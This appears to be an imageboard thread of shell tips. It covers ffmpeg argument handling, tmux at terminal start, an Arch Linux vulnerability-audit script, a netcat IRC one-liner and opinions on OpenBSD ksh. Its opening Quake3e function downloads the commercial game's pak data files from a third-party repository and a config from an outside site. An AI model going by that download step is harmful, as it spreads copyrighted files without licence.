quake3play(){ if [ ! -d "/home/$USER/quake3e/" ]; then mkdir ~/quake3e/; cd ~/quake3e/; git clone --depth 1 https://github.com/ec-/Quake3e .; sed -i "s/Cvar_CheckRange( sv_fps, \"10\", \"125\", CV_INTEGER );//" code/server/sv_init.c; sed -i "s/Cvar_CheckRange( cl_maxpackets, \"15\", \"125\", CV_INTEGER );//" code/client/cl_input.c; sed -i "s/.*OPTIMIZE =.*/OPTIMIZE = -Ofast -march=native -mfpmath=both -pipe -funroll-loops -flto=8 -floop-block -floop-interchange -floop-strip-mine -ftree-loop-distribution -fgraphite-identity -floop-nest-optimize -malign-data=cacheline -mtls-dialect=gnu2 -Wl,--hash-style=gnu/" Makefile; make -j8 || return; mv build/release-linux-x86_64/quake3e.x64 .; find -maxdepth 1 -not -name quake3e.x64 -exec rm -Rf {} +; mkdir baseq3/; wget -P baseq3/ https://github.com/nrempel/q3-server/raw/master/baseq3/pak{0..8}.pk3 https://chiru.no/u/autoexec.cfg; fi; cd ~/quake3e/; ./quake3e.x64 +connect chiru.no;}
# quake3play


 No.1070534

So I want something like vidtowebm or vidtomp4 in the OP, but with the ability to specify optional flags like "-an". If I pass these variables as arguments to ffmpeg (e.g. ffmpeg -i .... $an out.wbm) and $an is empty it gets treated as the output file which is invalid. I could wrap the whole ffmpeg line in a string like "ffmpeg -i ... $an out.webm", but then it won't handle filenames with spaces. The only other way I can think of is to have if statements for each case (one for -an and one for without), but that's really annoying especially if there is more than one flag. Anyone know how I can achieve what I want?


 No.1070567

>>1070534

>>1070534


It sounds like something like
an=${@:-""}
or similar is what you mean? It would set $an to "" by default or $@ if specified. Although it would be better to use getops to parse arguments/options properly.

ffmpeg has positional argument dependencies so throwing in optional flags isn't a very robust solution unless for testing.


 No.1070571

>>1070534

That shouldn't be hard so long as the flags themselves do not have spaces in them.

while [ $# -gt 1 ];do case "$1" in
(--extra-args) extra_args="$2"; shift 2;;
# other options...
esac; done
ffmpeg -i "$in_file" [...] $extra_args "$out_file"
Notice that it's not quoted. That way it will expand to whatever number of arguments is in the variable. Like --extra-args -an -foo bar. You could have multiple --extra-args-like options to insert them in different places of the command line if needed too.

Though IMO for many things it's easier to have "option sets" specified in .bashrc and use ffmpeg directly. Like

ffmpeg -i "foo.mkv" -map v:0 -map a:1 "$FFOPTS_WEBM_SMALL" foo.webm


 No.1070572

>>1070571

Correction:

>Like --extra-args "-an -foo bar"


 No.1070576

>>1070567

Yeah I've started to use getops to parse arguments

>>1070571

>Notice that it's not quoted.

Ahh ty that seems to solve it. I always quote variables without thinking about it. Not sure I have much use for the option sets thing atm, but I'll keep it in mind.

Thanks again lads


 No.1070577

>>1070576

I tell you this and then I forget to not quote the $FFOPTS_... force of habit. But it's good to keep in mind that this behavior exists.


 No.1072284

How do I make my shell start a tmux session when it starts and then kill the session when it exits?


 No.1072286


 No.1072293

>>1072284

I dunno if this fits you, but I have bound the

"st tmux new"

on my "start the terminal" key combination, which executes st with a new tmux session.

The moment I exit the shell, the tmux session and the st terminate.

If I just kill the window, the session remains and I can reattach to it later with "tmux a -t sessionnum".

It's kinda inconvenient that tmux doesn't want to attach to a tmux session when already in a session, but it's solved by either running a vanilla terminal or maybe some other way.


 No.1072380

>>1072284

>How do I make my shell start a tmux session when it starts and then kill the session when it exits?

It seems as if you really mean "terminal" instead of "shell" from what you wrote, because tmux sessions are designed to persist across different instances of a shell.

Via shell profile ( .bashrc (bash) .profile (csh) etc)

Via terminal alias.

If you really meant "shell" then starting tmux with every shell spawned could get fucky with some scripts.


 No.1072384

File: de54dfa8be7761c⋯.png (85.47 KB, 998x706, 499:353, Screenshot from 2019-06-23….png)

>>1072293

I use neovim-qt as my terminal emulator


 No.1072445

>>1072384

I don't even know what that is, but judging from the name, it's some vim clone.

I have no idea if that nvim-qt can run shell, so I would just advice you to use an actual X terminal emulator program such as xterm, urxvt or st and bind "TERMINALNAME tmux new" to some other key. I mean, it werks for me.


 No.1073475

Similar to arch-audit, pacaudit and archsecure, but has a few more options and much better formatting


#!/bin/bash
function showhelp(){
cat <<-EOF
Usage:
-h Show this help message
-a Show all fields
This is equal to -f name,packages,status,severity,type,affected,fixed,ticket,issues
-f Custom format, e.g. -f packages,affected,severity
-v Show all vulnerable packages, not just ones on the system
-c Colorize output
-t Test against all packages, including fixed ones
-l Link to the full AVG URL
-n Do not count vulnerable/listed packages at the end
-b Alternative database location

Fields:
name Link to the Arch Vulnerability Group number
packages List of the affected packages
status Shows whether it is fixed or not
severity From Critical, High, Medium, to Low
type Short description on the type of attack
affected Version number of the affected package
fixed Version number of the fixed package
ticket Ticket number for bugs.archlinux.org
issues List of related CVEs
EOF
exit
}

declare -A vfields=(
[name]=1 [packages]=1 [status]=1 [severity]=1 [type]=1
[affected]=1 [fixed]=1 [ticket]=1 [issues]=1
)

vcount=true
vsys=true
coloroutput=false
fullurl=false
securl='https://security.archlinux.org/issues/vulnerable/json'
dbpath='/var/lib/pacman'
vformat=packages,affected,fixed,status,severity,name

while getopts 'haf:vctlnb:' opt; do
case "${opt}" in
h) showhelp ;;
a) vformat=name,packages,status,severity,type,affected,fixed,ticket,issues ;;
f) vformat="${OPTARG}" ;;
v) vsys=false ;;
c) coloroutput=true ;;
t) securl='https://security.archlinux.org/issues/all/json' ;;
l) fullurl=true ;;
n) vcount=false ;;
b)
if [[ -d "${OPTARG}" ]]; then
dbpath="${OPTARG}"
else
echo "${OPTARG} not a directory"
exit
fi
;;
*) showhelp ;;
esac
done

jdata="$(curl -s "${securl}")"
IFS=','
for f in ${vformat}; do
if [[ -n "${vfields[$f]}" ]]; then
[[ -n "${vheaders}" ]] && vheaders+=','
vheaders+="${f^^}"
[[ -n "${jqcommand}" ]] && jqcommand+=' + "," + '
case "${f}" in
status|severity|type|affected|fixed|ticket)
jqcommand+=".${f}"
;;
packages|issues)
jqcommand+=".${f}[]"
;;
name)
$fullurl && jqcommand+='"https://security.archlinux.org/" + '
jqcommand+=".${f}"
;;
esac
fi
done
jqcommand+=' + "\n"'

if $vsys; then
packagelist="$(pacman -Qsb "${dbpath}")"
while read -r vpackage; do
if echo "${packagelist}" | grep -q "${vpackage}"; then
vaffected="$(echo "${vpackage}" | cut -d' ' -f2)"
vpackagename="$(echo "${vpackage}" | cut -d' ' -f1)"
vjqdata+="$(echo "${jdata}" | jq -r '.[] | select((.affected == "'"${vaffected}"'") and .packages[0] == "'"${vpackagename}"'")')"
fi
done < <(echo "${jdata}" | jq -jr '.[] | .packages[] + " " + .affected + "\n"')
vrows+="$(echo "${vjqdata}" | jq -jr "${jqcommand}")"
else
vrows+="$(echo "${jdata}" | jq -jr ".[] | ${jqcommand}")"
fi

if $coloroutput; then
printf '%s\n%s' "${vheaders}" "${vrows}" | column -s',' -t | \
sed 's/Critical/\x1b[91m\x1b[1mCritical\x1b[0m/g;
s/High/\x1b[91m\x1b[1mHigh\x1b[0m/g;
s/Vulnerable/\x1b[91m\x1b[1mVulnerable\x1b[0m/g;
s/Medium/\x1b[93m\x1b[1mMedium\x1b[0m/g;
s/Low/\x1b[92m\x1b[1mLow\x1b[0m/g'
else
printf '%s\n%s' "${vheaders}" "${vrows}" | column -s',' -t
fi

if $vcount; then
vc="$(echo "${vrows}" | wc -l)"
printf '\n%s vulnerable packages ' "${vc}"
$vsys && echo 'installed' || echo 'listed'
fi


 No.1073479

>>1072293

I really just wanted to have tmux for every terminal session in X.

>>1072293

Solves it. Thanks. Didn't know it'd close with the terminal in this situation.


 No.1073550


# le irc clinet XDDDdf
stty -echo; read pw; stty echo;
mkfifo o;
{
echo NICK $USER;
echo USER $USER '* *' :$USER;
echo PRIVMSG NickServ :$pw;
sed -un 's/^PING/PONG/p' <o &cat;
}|nc -c irc.nsa.gov 6697 |tee o; rm o


 No.1074581

File: 36662b6980d00eb⋯.jpg (18.49 KB, 579x386, 3:2, router overclocking.jpg)

I started using OpenBSD's ksh (available on gentoo as the loksh package).

It's mostly ksh and bash-compatible (it has some nice bashisms like $RANDOM added in, and follows ksh), the source code is 246KB (compare dash 138KB zsh 3054KB bash 9921KB), it has a POSIX mode and vi/emacs modes (the vi mode actually works by the way), the usual completion fluff, and so on. Its code quality is the usual you see in the project it comes from.

Very recommended shell. My only complaint is the lack of option completion.

Since distros generally don't distribute default config files for it, you'll have to read the manual to get a prompt and some basic funcionality going, but the defaults are sane enough that I just had to tell it to load a ~/.kshrc file from ~/.profile , and the .kshrc I was satisfied with is just 3 lines.


 No.1074600

>>1074581

Does it have a working emacs mode? Meaning I can cut AND paste regions? Does it have the fc builtin?


 No.1074608

>>1074600

fc is POSIX, so it does.

And yes, it can cut and paste regions, but there are no bindings for that on the emacs mode by default, so you'll need to put in your own keybinding. On the emacs editing mode there is kill-region which can cut between the cursor and a region marked with set-mark-command and the yank command which can pastes the most recently kill-region'd text.

I don't actually know what the emacs mode is like because I'm a vi guy, that's from the manual.


 No.1074610

>>1074608

>POSIX

brain damage


 No.1074932

Full sized pic of that Asian girl in the shirt?


 No.1076015

>>1074610

Yeah, unix brain damage I know.

But do you want to see some more unix brain damage? I can't even use fc because I don't have a /bin/ed

~ (0)
$ fc
ksh: /bin/ed: not found
~ (127)
$


 No.1076024

>>1076015

FreeBSD ships with ed. Linux is brain damaged.


 No.1076067

>>1076015

>/bin/ed: not found

<hardcoding a path to a binary

Nice braindamage.


 No.1076069




[Return][Go to top][Catalog][Nerve Center][Cancer][Post a Reply]
Delete Post [ ]
[]
[ / / / / / / / / / / / / / ] [ dir / b2 / choroy / dempart / fascist / freeb / randamu / vichan / y2k ]